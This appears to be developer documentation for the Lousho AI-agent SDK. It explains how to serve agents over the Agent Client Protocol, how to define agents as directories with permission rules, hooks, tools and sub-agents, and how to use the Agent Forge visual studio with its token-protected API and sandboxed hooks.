# Agent Client Protocol (ACP)
Source: https://lousho.com/acp



The [Agent Client Protocol](https://agentclientprotocol.com) lets an editor
drive a coding agent that runs as a subprocess: the editor writes JSON-RPC 2.0
requests to the agent's stdin, one JSON message per line, and reads the
agent's replies and streamed updates from its stdout. Zed and other editors
speak it. `lousho acp` serves any Lousho agent this way, so you can chat with
it, watch its tool calls and approve them from the editor's agent panel.

## The command

```bash theme={null}
npx lousho acp agent.yaml                          # a spec file
npx lousho acp ./my-agent --model openai/gpt-4o    # an agent directory, on another model
npx lousho acp src/agent.ts                        # a .ts/.js module (createAgent() options or an agent)
```

```text theme={null}
lousho acp <spec.yaml|spec.json|agent-dir|agent.ts> [--model provider/model]
```

`<path>` is loaded like [`lousho chat`](/cli#lousho-chat) loads it, and
`--model` works the same way. The `vendor/` model prefix chooses the provider;
with OpenRouter use `openrouter/<vendor>/<model>` (e.g.
`openrouter/openai/gpt-4o`). The editor starts the process; it runs until
stdin closes. stdout carries nothing but protocol messages: errors, and
anything the agent's code prints with `console.log`, go to stderr, which
editors show in their logs. A bad path or flag exits with code 1 and the coded
error (`LOUSHO_CONFIG_INVALID`, ...) on stderr.

## Zed

Add the agent to Zed's `settings.json`, then pick it in the agent panel:

```json theme={null}
{
  "agent_servers": {
    "My Lousho agent": {
      "type": "custom",
      "command": "npx",
      "args": ["lousho", "acp", "/path/to/my-agent"],
      "env": { "OPENAI_API_KEY": "sk-..." }
    }
  }
}
```

Run it from the project that has `@lousho/build-ai-agent` installed (or use
an absolute path to `node_modules/.bin/lousho` as `command`). Provider keys
come from `env` or from the environment Zed was started in.

## What is supported

Protocol version 1. The agent answers:

| Method | What it does |
| - | - |
| `initialize` | Returns `protocolVersion: 1`, `loadSession: false`, text-only prompt capabilities and no auth methods. |
| `session/new` | Opens an SDK session (`agent.session()`): the prompts of one ACP session share their history. Returns `{ sessionId }`. `cwd` and `mcpServers` are ignored; give the agent its MCP servers in its own config. |
| `session/prompt` | Runs one turn. Text blocks are the input; a `resource_link` block becomes a Markdown link to its URI. Resolves to `{ stopReason }` when the turn ends. |
| `session/cancel` (notification) | Aborts the session's running turn: its `session/prompt` resolves to `{ stopReason: 'cancelled' }`, and a permission request still open counts as rejected. |

While a turn runs the agent sends `session/update` notifications:

* `agent_message_chunk` with a `text` content block for each piece of text the model writes;
* `agent_thought_chunk` with a `text` content block for each piece of the model's [reasoning](/reasoning);
* `tool_call` (`status: 'in_progress'`, `kind: 'other'`, the tool's name as `title`, its arguments as `rawInput`) when a tool call starts;
* `tool_call_update` with `status: 'completed'` (the result as text content and as `rawOutput`) or `'failed'` (the error) when it ends.

Sub-agent runs started by the `task` tool are not forwarded; the `task` call
itself appears as one tool call.

**Permissions.** When a tool needs approval (`needsApproval`, `permissions`
rules that ask), the agent sends the editor a `session/request_permission`
request with the tool call and two options, `allow` (Allow, `allow_once`) and
`reject` (Reject, `reject_once`). The answer decides the approval with
`agent.approvals.streamResolve()` and the continued turn keeps streaming
updates; a rejection marks the tool call `failed` and the model carries on.
A turn may ask several times.

**Questions.** An `ask_question` pause (`askQuestion: true`) is not mapped to
a permission request, because the user's answer can be free text. It ends the
turn (`end_turn`) with the question, and its numbered options, as the agent's
message; the next prompt of the session is the answer
(`agent.approvals.streamAnswer()`).

**Stop reasons.** `end_turn` for a normal finish, `max_turn_requests` when
`maxSteps` ran out, `max_tokens` when a `limits` budget tripped or the model
stopped on its output limit, `refusal` when a guardrail blocked or the
provider's content filter stopped the model, and `cancelled` after
`session/cancel`.

**Errors.** An unknown method answers JSON-RPC error `-32601`, a line that is
not JSON `-32700`, a line that is JSON but not a request object (`null`, an
array, a string, a number, or a non-string `method`) `-32600`, an unknown `sessionId` or an empty prompt `-32602`, and a
second prompt while one runs in the same session `-32600`. A run that fails
answers `-32603` with the error's message, and its SDK error code (for
example `LOUSHO_PROVIDER_RATE_LIMITED`) in `error.data.code`. A `null` or
non-object `params` reads as `{}`. A malformed line never stops the server.

## Not supported

* `session/load` (`loadSession: false`) and session modes.
* The client's `fs/*` and `terminal/*` methods: the agent reads files and runs
  commands with its own tools ([Workspace tools](/workspace-tools)), not
  through the editor.
* Image, audio and embedded-resource prompt blocks (text prompts only).
* `plan` updates, and `allow_always` /
  `reject_always` permission options.
* Authentication (`authMethods` is empty): provider keys come from the environment.

## In code

The protocol core is `serveAcp(agent, { input, write })`: it reads JSON-RPC
lines from any async iterable and hands each outgoing line to `write`, so you
can serve it over another transport or drive it in tests without a process.
It resolves once `input` ends, after aborting any running turn.

```ts theme={null}
import * as readline from 'node:readline';
import { createAgent, serveAcp } from '@lousho/build-ai-agent';

const agent = createAgent({ model: 'openai/gpt-4o-mini', instructions: 'You are a coding assistant.' });

await serveAcp(agent, {
  input: readline.createInterface({ input: process.stdin }),
  write: (line) => process.stdout.write(`${line}\n`),
});
```

Pass `store` to keep the ACP sessions' transcripts in an `AgentStore` (for
example a `SqliteStore`); by default they use the agent's own `store`, or memory.


# Agent directories
Source: https://lousho.com/agent-directories



An agent can be defined as a directory. `loadAgentDir()` reads it and calls
`createAgent()` with the options the files describe, so it returns exactly what
`createAgent()` returns. The typed code API stays the source of truth: a
directory is a different way to write the same options, and you can switch to
code at any time without a rewrite.

> **Security:** loading an agent directory **executes its code** (`agent.ts`,
> everything in `tools/`). Only load directories you trust. No sandboxing is
> implied; the files run with your process's full permissions.

```ts theme={null}
import { loadAgentDir } from '@lousho/build-ai-agent';

const agent = await loadAgentDir('./my-agent');
const { text } = await agent.send('Hello!');
```

## Layout

```text theme={null}
my-agent/
  agent.{ts,mts,js,mjs,cjs,json,yaml,yml}          # optional config
  instructions.md                                  # system prompt
  instructions/<family>.md                         # appended to the prompt when the model id contains <family>
  hooks.{ts,mts,cts,js,mjs,cjs}                    # hooks file (or any path `hooks` names), exports a hook or a list
  approve.{ts,mts,cts,js,mjs,cjs}                  # approver file (or any path `approve` names), exports a function
  tools/*.{ts,mts,cts,js,mjs,cjs}                  # defineTool() tools
  skills/                                          # same layouts as loadSkills()
  subagents/<name>/                                # nested agent directories
  schedules/*.{ts,mts,cts,js,mjs,cjs}              # defineSchedule() cron schedules (see schedules.md)
  channels/*.{ts,mts,cts,js,mjs,cjs}               # a channel each: defineChannel(), webhookChannel(), ... (see channels.md)
  memory/*.{ts,mts,cts,js,mjs,cjs}                 # a memory slot each: defineMemory() (see memory.md); part of the agent
  auth.{ts,mts,cts,js,mjs,cjs}                     # route auth for the deployed server: jwt(), oidc(), basic(), ... (see auth.md),
                                                   # plus optional named authorizeSession / authorizeApproval exports
```

Only one config file may exist. Files inside `tools/` and the entries of
`skills/` and `subagents/` are read in sorted order, so loading is
deterministic.

### Config file

```ts theme={null}
// agent.ts
export default {
  model: 'openai/gpt-4o-mini',
  description: 'Triages bug reports',
  maxSteps: 8,
  toolConcurrency: 2,
};
```

| Key | Maps to |
| - | - |
| `name` | `createAgent({ name })` (default: the directory name) |
| `description` | `manifest.description` — the directory loader does not forward it to `createAgent` (though `createAgent({ description })` accepts it); what a parent agent reads for a sub-agent (required there) |
| `model` | `createAgent({ model })`; the `vendor/` prefix chooses the provider — with OpenRouter use `openrouter/<vendor>/<model>` |
| `provider` | `createAgent({ provider })` (code config files only) |
| `instructions` | `createAgent({ instructions })` (use this or `instructions.md`, not both) |
| `maxSteps` | `createAgent({ maxSteps })` |
| `toolConcurrency` | `createAgent({ toolConcurrency })` |
| `projectInstructions` | `createAgent({ projectInstructions })` |
| `permissionMode` | `createAgent({ permissionMode })`: `'default'`, `'plan'`, `'acceptEdits'` or `'dontAsk'` (a function in a code config) |
| `permissions` | `createAgent({ permissions })`, in the serializable rule form below |
| `compaction` | `createAgent({ compaction })`: `true` or an options object |
| `hooks` | `createAgent({ hooks })`: a path (relative to the directory) to a file default-exporting a hook or a list, or the hooks inline in a code config |
| `approve` | `createAgent({ approve })`: a path to a file default-exporting the approver function, or the function inline in a code config |
| `approvalTtlMs` | `createAgent({ approvalTtlMs })`: milliseconds before an unanswered approval expires; an `ask` rule's `ttlMs` wins over it |
| `limits` | `createAgent({ limits })`, e.g. `{ "maxCostUsd": 0.05 }` |
| `modelSettings` | `createAgent({ modelSettings })`, e.g. `{ "maxTokens": 1024, "temperature": 0.2 }`; see [Model settings](/configuration#model-settings) |
| `retry` | `createAgent({ retry })`, e.g. `{ "maxRetries": 4, "timeoutMs": 30000, "backoff": { "initialMs": 1000 } }`; `timeoutMs` bounds each attempt, `false` sends each call once. `retryOn`, `onRetry` and `signal` are functions, so code configs only |
| `output` | `createAgent({ output })`: a Standard Schema (e.g. a zod object) the final answer must match. Code config files only (JSON/YAML cannot hold a schema); from code, `loadAgentDir(dir, { output })` also types `result.object` |
| `store` | `createAgent({ store })`: `{ "dir": "./.lousho" }` (resolved against the agent directory) becomes a `fileStore()` — sessions, checkpoints and paused approvals survive a restart; `historyLimit` and `tokenKey` may be set too. A code config may give an `AgentStore` instance instead. Node only |

Unknown keys are an error with a suggestion (`'modle' (did you mean 'model'?)`).

A `permissions` rule is `{ "tool", "when"?, "action", "reason"?, "ttlMs"? }`:
`tool` is a
name, a list of names (`'*'` covers every tool) or a `RegExp` in a code config;
`action` is `'allow'`, `'ask'` or `'deny'`; `ttlMs` is only allowed on `'ask'`
rules — how long the pause waits for a decision before it expires ('approval
expired'), winning over the agent's `approvalTtlMs`. In JSON/YAML `when` is a record of
argument names to matchers, all of which must hold. A bare string is a regular
expression tested against `String(args[name])`; an object picks operators:
`eq`/`ne` compare the argument to the operand with `===`/`!==`, `lt`/`lte`/`gt`/`gte`
compare `Number(args[name])` with the operand (a non-numeric argument never
matches) and `matches` is a regular expression. Several operators on one
argument must all hold, so `{ "replicas": { "gte": 1, "lte": 10 } }` matches 1
through 10. A code config may give the predicate itself. The first matching
rule decides.

```json theme={null}
// agent.json
{
  "permissions": [
    { "tool": "shell", "when": { "command": "\\brm\\b" }, "action": "deny", "reason": "No deletes" },
    { "tool": "deploy", "when": { "environment": { "eq": "staging" }, "replicas": { "lte": 10 } }, "action": "ask" },
    { "tool": ["read_file", "shell"], "action": "allow" },
    { "tool": ["write_file", "edit_file"], "action": "ask" }
  ],
  "hooks": "hooks.ts",
  "approve": "approve.ts",
  "limits": { "maxCostUsd": 0.05 }
}
```

```ts theme={null}
// hooks.ts — the default export is a hook or a list of them
import type { AgentHook } from '@lousho/build-ai-agent';
const audit: AgentHook = {
  name: 'audit',
  postToolCall(ctx) {
    console.log(ctx.toolName);
  },
};
export default audit;
```

```ts theme={null}
// approve.ts — the default export decides every `ask`ed call
import type { ApproveToolCall } from '@lousho/build-ai-agent';
const approve: ApproveToolCall = ({ args }) => !String(args.path ?? '').endsWith('.test.js');
export default approve;
```

A `hooks` / `approve` path must be relative and stay inside the directory;
`lousho build` bundles root `hooks.*` and `approve.*` files next to the config
and resolves the compiled `.js` sibling, so `.ts` paths keep working after the
build.

`instructions/<family>.md` appends to `instructions.md` when the resolved model
id contains `<family>`: `instructions/openai.md` applies to
`openai/gpt-4o-mini` and to `openrouter/openai/gpt-4o-mini`. The first match in
sorted order wins; an unrelated model id gets the base prompt only.

### Tools

Each file in `tools/` default-exports a `defineTool()` tool, and may also export
more tools by name (or an array of tools). Other exports are ignored, but a file
that exports no tool at all is an error, as are two tools with the same name
(both files are named in the message).

```ts theme={null}
// tools/send_email.ts
import { z } from 'zod';
import { defineTool } from '@lousho/build-ai-agent';

export default defineTool({
  name: 'send_email',
  description: 'Send an email',
  input: z.object({ to: z.string(), body: z.string() }),
  execute: async ({ to, body }) => ({ sent: true, to, length: body.length }),
});
```

### Skills

`skills/` accepts what `loadSkills()` accepts: `skills/<name>/SKILL.md` and
`skills/<name>.md`, each with a `description` in its frontmatter. See
[Skills](/skills).

### Sub-agents

Every directory in `subagents/` is itself an agent directory (and can have its
own `subagents/`). It must have a `description` in its config. Each one is a
native sub-agent of the parent: it lands in the parent's `subagents` map, so
the parent's model delegates to it with the `task` tool (see
[Sub-agents](/sub-agents)). The parent also gets a `delegate_to_<name>` tool,
kept as a backward-compatible alias: it takes the task text and returns the
sub-agent's final answer, and it runs through the same runtime as `task`.
A sub-agent uses its own `model` if it sets one, otherwise it inherits the
parent's; a `provider` override passed to `loadAgentDir()` reaches all of them.

Either way the sub-agent runs inside the parent's run, like any `createAgent()`
sub-agent:

* the parent's `permissions` rules come first in the sub-agent, so a
  `deny('write_file')` on the parent holds for the whole tree;
* a sub-agent call that needs approval pauses the parent run
  (`finishReason: 'awaiting-approval'`, the pending approval's `subagentPath`
  names the sub-agent) and `agent.approvals.resolve()` continues it. The
  sub-agent directory's own `approve` decides its calls first; without one, an
  `approve` passed to `loadAgentDir()` in code does, and otherwise the call
  waits for a human. The parent directory's own `approve` file does not decide
  its sub-agents' calls;
* its token usage is added to the parent's (`result.usage.delegated`), its
  events reach the parent's listeners tagged with `event.subagent`, and its
  spans nest under the parent's trace.

Nested `subagents/` directories raise the parent's `maxSubagentDepth` to the
depth of the tree (unless you pass one), so every level can delegate.

A sub-agent directory whose config sets `"engine": "pi"` becomes a Pi
coding-agent sub-agent instead: it lands in the parent's `subagents` map (the
`task` tool) without a `delegate_to_<name>` alias, and its sessions
run in the parent's directory - the workspace the parent's file tools and the
Pi session share. `model` takes the usual `pi/<provider>/<model>` id, and
`permissions` rules gate the Pi session's own tool calls (`read`, `bash`,
`edit`, `write`, ...). Other keys in its config are ignored: Pi carries its
own system prompt and coding tools. Running a `pi` sub-agent needs the
optional `@earendil-works/pi-coding-agent` peer and the Node runtime - a
Cloudflare Worker target rejects it.

```json theme={null}
// subagents/coder/agent.json
{
  "description": "Implements code changes in this workspace.",
  "engine": "pi",
  "model": "pi/openrouter/openai/gpt-4o-mini",
  "permissions": [
    { "tool": "bash", "when": { "command": "\\brm\\b" }, "action": "deny" },
    { "tool": "*", "action": "allow" }
  ]
}
```

`loadAgentDir(dir, { piAgent: { ... } })` injects `piAgent()` options into
every `engine: 'pi'` sub-agent (e.g. a faux `modelRuntime` in tests, a
`sessionDir` for durable approvals); the directory always wins `cwd`, `name`
and `description`.

### Channels

Each file in `channels/` default-exports a [channel](/channels) made with
`defineChannel()` or a built-in factory (`webhookChannel()`, `httpChannel()`,
`slackChannel()`, `discordChannel()`, `telegramChannel()`, `githubChannel()`, `teamsChannel()`). The channel's name is the one it sets, else the file name.
A file that does not export a channel fails with `LOUSHO_CHANNEL_INVALID`
naming the file. `resolveAgentDir()` returns them as `channels` (and their names
as `manifest.channels`); `loadAgentDir()` does not mount them. The node server
that `lousho build --target=node-server` emits mounts them under `/channels`
next to the chat routes (`createDeployedServer(agent, { channels })`, an
internal helper of the generated bundle); with your own server, use
`mountChannels()`:

```ts theme={null}
import { createServer } from 'node:http';
import { createAgent, mountChannels, resolveAgentDir } from '@lousho/build-ai-agent';

// channels/support.ts: export default webhookChannel({ secret: process.env.HOOK_SECRET ?? '' })
const { config, channels } = await resolveAgentDir('./my-agent');
const handler = mountChannels(createAgent(config), channels);
createServer((req, res) => void handler(req, res).then((handled) => handled || res.writeHead(404).end())).listen(3000);
```

`lousho dev` mounts them too, and `lousho build` deploys them (see below).

### Memory

Each file in `memory/` default-exports a [memory slot](/memory): the result of
`defineMemory({ ... })`, or the same options without a `name`, in which case the
file name is the slot name. Unlike schedules and channels, slots are part of the
agent: `loadAgentDir()` passes them to `createAgent({ memory })`, so the
`remember_<name>` / `recall_<name>` tools and recall into the prompt work with no
extra code, and `manifest.memory` lists their names. Each slot uses its own
`provider`. A file that does not export a slot fails with `LOUSHO_MEMORY_INVALID`
naming the file. A `memory` override passed to `loadAgentDir(dir, { overrides })`
is merged with the directory's slots by name: the override wins a name clash.

```ts theme={null}
import { defineMemory, fileMemory, resolveAgentDir } from '@lousho/build-ai-agent';

// memory/notes.ts: export default { scope: 'global', provider: fileMemory({ dir: './.lousho/memory' }) }
const { manifest } = await resolveAgentDir('./my-agent', {
  memory: [defineMemory({ name: 'notes', scope: 'global', provider: fileMemory({ dir: './.lousho/memory' }) })],
});
console.log(manifest.memory); // names found in memory/
```

A relative `dir` in a `memory/*.ts` file resolves against the process working directory, not the agent directory (unlike `store.dir` in `agent.ts`, which is relative to the agent directory). A bare `./.lousho/memory` therefore puts memory in a different tree from the sessions, and it moves when you start the agent from another directory or from a build. Anchor it to the module instead, so it always lands next to the agent's other state:

```ts theme={null}
// memory/notes.ts
import { fileURLToPath } from 'node:url';
import { fileMemory } from '@lousho/build-ai-agent';

export default {
  scope: 'global',
  provider: fileMemory({ dir: fileURLToPath(new URL('../.lousho/memory', import.meta.url)) }),
};
```

The path follows the module: a copied or bundled build keeps its memory next to the build, so point it at a fixed absolute path (or a database provider) if memory must survive redeploys.

## How it maps to `createAgent()`

| Directory | `createAgent()` option |
| - | - |
| `instructions.md` | `instructions` |
| `agent.*` keys | the options in the table above |
| `tools/` | `tools: [...]` |
| `skills/` | `skills: await loadSkills('./skills')` |
| `subagents/<name>/` | one `subagents` entry (the `task` tool), plus a `delegate_to_<name>` alias in `tools` |

`resolveAgentDir()` returns the assembled options and a manifest, which is
handy for tests and tooling:

```ts theme={null}
import { resolveAgentDir, createAgent } from '@lousho/build-ai-agent';

const { config, manifest } = await resolveAgentDir('./my-agent');
console.log(manifest.tools, manifest.skills, manifest.subagents);
const agent = createAgent({ ...config, maxSteps: 3 });
```

When the directory has a `lousho-registry.json` install receipt
([Registry](/registry)), `manifest.registry` reports whether each installed
item's files still match it, and the tools of a receipt item run inside the
permission manifest it was installed with.

## Overrides

The second argument takes the same options as `createAgent()` and wins over the
files. Every option is passed on to the agent, including the ones no file
declares (`guardrails`, `onEvent`, `retry`, `reasoning`, `redactContent`,
`output`, ...). Use it to swap the model in tests:

```ts theme={null}
import { loadAgentDir } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const agent = await loadAgentDir('./my-agent', { provider: mockModel(['Hi there.']) });
```

`tools` and `skills` overrides replace the discovered ones (they are not
merged). A `provider/model` string in a file is dropped when you override
`provider`, so the instance is used as-is. `approve: null` / `hooks: null`
strip the directory's wiring (the file its config names is not even imported);
`undefined` keeps it.

## Moving from files to code

Call `resolveAgentDir()`, print `config`, and paste what you need into a
`createAgent()` call; or load the directory and override just the parts you want
to own in code. Tools are plain `defineTool()` values, so a tool file can be
imported from code unchanged.

## Loading TypeScript

`.ts` files are loaded with a dynamic `import()`, so the process must already
run under a TypeScript loader: `npx tsx your-script.ts` (or ts-node, bun, deno,
or Node's built-in type stripping). Without one, loading fails with an error that
says so. Compile the directory first, or use `.js`/`.mjs` tools with an
`agent.json` / `agent.yaml` config, which work everywhere. A `.js` tool using
`import` syntax needs `"type": "module"` in the nearest `package.json` (or the
`.mjs` extension).

## Run it with `lousho dev`

```bash theme={null}
npx lousho dev ./my-agent
```

Serves the chat UI and `POST /chat` for the directory and reloads it when
`instructions.md`, the config file, `tools/`, `skills/` or `subagents/` change
(see [`lousho dev`](/cli#lousho-dev) for the details). A tool file is
imported afresh on each reload, so an edit to `tools/*.ts` takes effect on the
next message. A failed reload (a syntax error, an empty `instructions.md`) is
logged and shown in the chat page, and the previous agent keeps answering.

The directory's `channels/` are mounted under `/channels` and its `schedules/`
are started, and a reload swaps both: the old schedules are stopped before the
new ones start, so no timer or route outlives its file. Pass `--no-schedules` to
mount the channels but not fire the crons (see [Schedules in
dev](/schedules#in-lousho-dev)).

## Deploy it with `lousho build`

```bash theme={null}
npx lousho build ./my-agent --target=node-server    # or docker
```

The agent directory is the unit of deployment: the built server loads it with
`resolveAgentDir()` at start-up, starts its `schedules/` and mounts its
`channels/` under `/channels`, guards its chat routes with `auth.ts` when there
is one ([Route auth and principals](/auth)), and prints which it found. A
function `auth.ts` exports as `authorizeSession` or `authorizeApproval`
decides who may use a session and who may decide an approval, e.g. a manager
approving a user's paused claim ([Who may decide an approval](/auth#who-may-decide-an-approval));
without them the server keeps the defaults (a session and its approvals belong to the caller that started it). The code files (the
config, `auth.ts`, a root `hooks.*` / `approve.*` file, `tools/`, `schedules/`, `channels/`, `memory/`, and the same in each
sub-agent) are bundled to `dist/agent/**.js`, and only `instructions.md` (with `instructions/<family>.md`), `skills/`
and a JSON/YAML config (the same in each sub-agent) are copied next to them, so the server needs no TypeScript
loader, sources or `node_modules`. Nothing else is copied: `.env` files, the `.lousho/` session store
(or the config's `store.dir`) and any other file stay out of the build and its Docker image. See [Deployment](/deployment#agent-directories).
The Cloudflare Worker target builds a directory too, embedding every folder: `subagents/` become `delegate_to_` tools, `schedules/` become cron triggers, `channels/` are mounted under `/channels` and `memory/` slots run on `kvMemory()` ([Cloudflare Workers](/cloudflare-workers#build-and-deploy)).

## Serving over MCP

`lousho mcp` takes an agent directory as well as a spec file ([Configuration](/configuration)):
`lousho mcp ./my-agent` serves it as an MCP server ([MCP](/mcp-integration#serve-an-agent-over-mcp)).


# Agent Forge
Source: https://lousho.com/agent-forge



Agent Forge (`apps/agent-forge`) is this SDK's companion visual dashboard:
build an agent's graph on a canvas, run it, watch it execute in a live
debug console, chat with it, and author sandboxed pre/post hooks - all
reading and writing the exact same `AgentSpec` YAML that `lousho dev` and
`lousho build` use. It's launched with one command, `lousho studio`, and
ships as part of this SDK's npm package.

This doc covers: installation, the `lousho studio` quickstart, a
first-agent walkthrough, hook authoring, time travel (replaying a run from
a past step), and how settings/secrets/deploy wiring works.

## Installation

Agent Forge ships inside `@lousho/build-ai-agent` itself - there's no
separate package to install:

```bash theme={null}
npm install @lousho/build-ai-agent
```

That's it. `lousho studio` (below) runs a pre-built copy of the app; you
don't need `apps/agent-forge`'s own source or its devDependencies (Vite,
`tsx`, etc.) to use it.

If you're working inside this SDK's own monorepo instead (contributing to
Agent Forge itself), see [Dev mode](#dev-mode) below.

## Quickstart

```bash theme={null}
npx lousho studio
```

This starts one local server and prints its URL (default
`http://127.0.0.1:4750/?token=<random>`). Open that exact URL in a browser - you'll see the canvas,
the left rail (your saved agents + a node/hook palette), the Inspector
(right), and a bottom drawer with Chat/Logs/Trace/Output/Settings tabs.
Below 860px wide the rail and the Inspector become slide-over panels you
open from the top bar, and Debug, Import, Export and Save move into its
**More** (`⋯`) menu.

Useful flags:

```bash theme={null}
npx lousho studio --port 5000       # pick a different port
npx lousho studio --host 0.0.0.0    # bind to all interfaces
npx lousho studio --prod            # force production mode (see below)
npx lousho studio --dev             # force dev mode (monorepo only)
```

### Access token

The studio can store provider keys, start runs and execute hook code, so its
API is locked to the browser tab you opened from the printed URL:

* Each launch mints a random token and prints it in the URL (`?token=...`).
  The page keeps it for that tab (it survives a reload) and sends it on
  every API call (`x-lousho-studio-token` header) and on the WebSocket
  (`?token=` query). A request without it gets `401`. Opening the bare
  `http://127.0.0.1:4750` in a new tab loads the page, but its API calls
  fail until you use the printed URL.
* The server sends no CORS headers and refuses (`403`) a request whose
  `Origin` is not the studio's own, or whose `Host` is not a loopback name
  (`localhost`, `127.0.0.1`, `[::1]`) or the `--host` you bound to. With
  `--host 0.0.0.0` any `Host` is accepted and the token is the only gate.
* `GET /health` and the static client need no token.

From `curl`, pass the token: `curl -H "x-lousho-studio-token: $TOKEN" localhost:4750/agents`.

`lousho studio` hands these to the processes it starts through environment
variables; you only set them yourself when you start the studio server
without the CLI:

| Variable | Read by | Meaning |
| - | - | - |
| `LOUSHO_STUDIO_TOKEN` | the studio API server | The access token. Unset, the server mints a random one per launch. |
| `LOUSHO_STUDIO_ALLOWED_ORIGINS` | the studio API server | Comma-separated extra origins to accept besides the studio's own (dev mode sets the Vite dev server's). |
| `LOUSHO_STUDIO_API_URL` | the Vite dev server (dev mode) | Where to proxy API calls (default `http://127.0.0.1:4750`). |

### Where agents live

Agent specs and run state are stored under `.lousho/` in the directory you
ran `lousho studio` from (agent YAML files under `.lousho/agents/`,
checkpoints and approvals alongside them) - the same `.lousho/` layout
`lousho dev`/`lousho build` use.

The left rail lists exactly the agents in that `.lousho/agents/`: a YAML
file you add there shows up, and an agent you create in the studio is
written there at once (autosave and **Save** both write the file), so it
can be chatted with straight away. Another project, opened in its own
`lousho studio`, shows only its own agents. The browser keeps nothing but a
draft of an edit that could not reach the server (it is pushed on the next
load), stored per workspace directory. A file in `.lousho/agents/` that no
longer parses is skipped with a warning in the server log.

### Production vs. dev mode

`lousho studio` has two modes, and picks the right one automatically:

* **Production** (the default once Agent Forge has been built): a single
  Express server serves both the REST/WebSocket API *and* the pre-built
  client (React app) as static files, on one port. This is what runs when
  you `npm install` the published package - there's no separate Vite dev
  server and no TypeScript loader involved.
* **Dev** (falls back to this if the build hasn't been run yet, i.e. inside
  a source checkout of this monorepo): the API server runs straight off
  its TypeScript source via `tsx`, alongside a real Vite dev server (with
  hot-module reload) that proxies API requests to it. Two processes, two
  ports internally, one command.

`--prod`/`--dev` force one or the other; run without either flag and
`lousho studio` auto-detects based on whether `apps/agent-forge/dist-server`
exists.

## First-agent walkthrough

1. **Create an agent.** In the left rail's "Agents" tab, click **New**,
   give it a name, and pick a starting template - **Blank graph** (a single
   LLM node using the built-in `mock` provider) is the fastest way to try
   things out without any API keys. Agent Forge creates the agent under that
   name (`.lousho/agents/<name>.yaml`, with `name: <name>` in the spec) and
   opens it on the canvas. The open agent's card has **Rename** and
   **Delete**. Rename moves the spec to the new name; earlier chats, traces
   and checkpoints stay under the old one.
2. **Look at the graph.** A blank agent is one `llm` node. Drag more nodes
   in from the left rail's palette (**Trigger**, **LLM step**, **Tool
   call**, **Approval gate**, **Response / output**), or click (or press
   Enter on) a palette item to add it at the centre of the canvas, and
   connect them by
   dragging between their handles. Click a node to edit its settings
   (prompt, provider/model, tools, breakpoints) in the Inspector on the
   right.
3. **Run it.** Click **Run** in the top bar. With the `mock` provider
   there's nothing to configure - it returns deterministic canned output,
   which is exactly the point for trying the rest of the UI without needing
   a real LLM API key. The status pill in the top bar tracks the run
   (`running` → `done`, `stopped` after you press **Stop**, `error` or
   `awaiting approval`). Run sends a fixed prompt, which the Chat tab shows
   as a **Run input** bubble instead of a message from you. If the studio
   server goes away, a banner says the connection was lost and the studio
   reconnects when it is back.
4. **Watch it in the debug console.** Open the bottom drawer's **Logs**
   tab for a live, filterable log feed of the run (trigger/llm/tool/
   sandbox/checkpoint/approval events), or **Trace** for a span waterfall.
   Turn on **Debug** in the top bar (or set a breakpoint on a node in the
   Inspector) to pause the run at LLM/tool boundaries and step through it
   with the debug bar's **Step**/**Continue** controls; expand "Live
   message array" there to inspect the in-flight message list. **Output**
   shows the full `ExecutionResult` (messages, tool calls, usage, steps) as
   a collapsible JSON tree once the run finishes or pauses.

   **Trace history.** Every run is also saved as a trace file, so the
   **Trace** tab keeps the runs of the agent after the page is reloaded or the
   server restarted. A list on the left shows the agent's past runs, newest
   first (start time, duration, model calls, tokens in/out, cost, status),
   with a **Live** entry on top while a run is active; choose one to open its
   spans in the same waterfall, with each span's kind (`internal` or
   `client`) and failed spans in the error colour. The list refreshes when
   a run ends. The files are the ones `lousho traces` reads, in
   `.lousho/agents/<agent id>/traces/<day>/<trace id>.jsonl` under the
   directory `lousho studio` was started in (see
   [Local traces](/observability#local-traces)):
   `npx lousho traces --dir .lousho/agents/<agent id>/traces` shows the same
   runs in the terminal, and deleting the agent's folder deletes its traces.
   The tab shows what the spans hold: model and tool names, token counts,
   cost, durations and error messages, and with the span's tooltip the
   attributes, which carry prompt and tool content. The server reads traces
   only from that folder (an id with a path separator is a 400) and never
   sends the file path to the browser. Keep `.lousho/` out of version
   control.
5. **Chat with it.** The **Chat** tab is a separate conversational
   transport (`POST /agents/:id/message`, streamed back over the same
   WebSocket as everything else) - send it a message and it replies in the
   thread, independent of the graph "Run" button above. Each agent keeps
   its own chat history (`+ New chat` starts a fresh session; old ones stay
   browsable).
6. **Approve a paused tool call.** Add a **Tool call** node, open it in the
   Inspector, and pick a tool - some tools (or an agent's own policy) can
   require human approval before running. When a run or chat hits one, an
   inline approval card appears (in the top bar for a graph run, or as a
   message bubble in the Chat thread) showing the tool name and its
   arguments. Click **Approve** to let it proceed or **Reject** to abort
   that call; the run resumes automatically either way.

## Hooks

Hooks are small, sandboxed functions that run immediately before or
after a tool call or an LLM `generate` - the same mechanism the SDK core
exposes as `HookRegistry`/`AgentHook` (see
[API Overview](/api-overview)), but authored visually and attached to a
specific canvas node.

To attach one:

1. Select an `llm` or `tool` node on the canvas (hooks only apply to these -
   they're the two points `AgentExecutor` actually calls out to).
2. Open the Inspector's **Hooks** section. Drag a **Pre-hook** or
   **Post-hook** entry from the left rail's palette onto the node (or drop
   it directly in the Hooks section), or click the palette entry while the
   node is selected, to attach a new one; you'll get a
   choice of starter templates (`redact-pii`, `rate-limit`, `audit-log`,
   `inject-context`) as an editable starting point.
3. Click the hook's chip to select it, then edit its code in the CodeMirror
   editor. The code is the **body** of an async function invoked as
   `hook(ctx)` inside a sandboxed subprocess (`server/hookSandbox.ts`) -
   never in the browser or the API server process itself:
   * For a tool-call hook, `ctx` is `{ toolName, args, result?, error? }`.
     A pre-hook can mutate `ctx.args`; a post-hook can inspect/mutate
     `ctx.result`/`ctx.error`. Return `ctx`.
   * For an LLM-generate hook, `ctx` is `{ messages, model }`. Mutate/push
     onto `ctx.messages` and return `ctx`.
   * **Throwing aborts the step** - a rate-limit hook, for example, throws
     to block the tool call outright rather than letting it run.
4. Toggle the switch on a hook's chip to enable/disable it without removing
   it, or use its **x** to remove it entirely. Only enabled hooks are
   compiled into the run.

Example: a redact-PII pre-hook on a tool node (this is the `redact-pii`
starter template) -

```js theme={null}
const PII = /[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,}/gi;
for (const key of Object.keys(ctx.args || {})) {
  if (typeof ctx.args[key] === 'string') {
    ctx.args[key] = ctx.args[key].replace(PII, '[REDACTED]');
  }
}
return ctx;
```

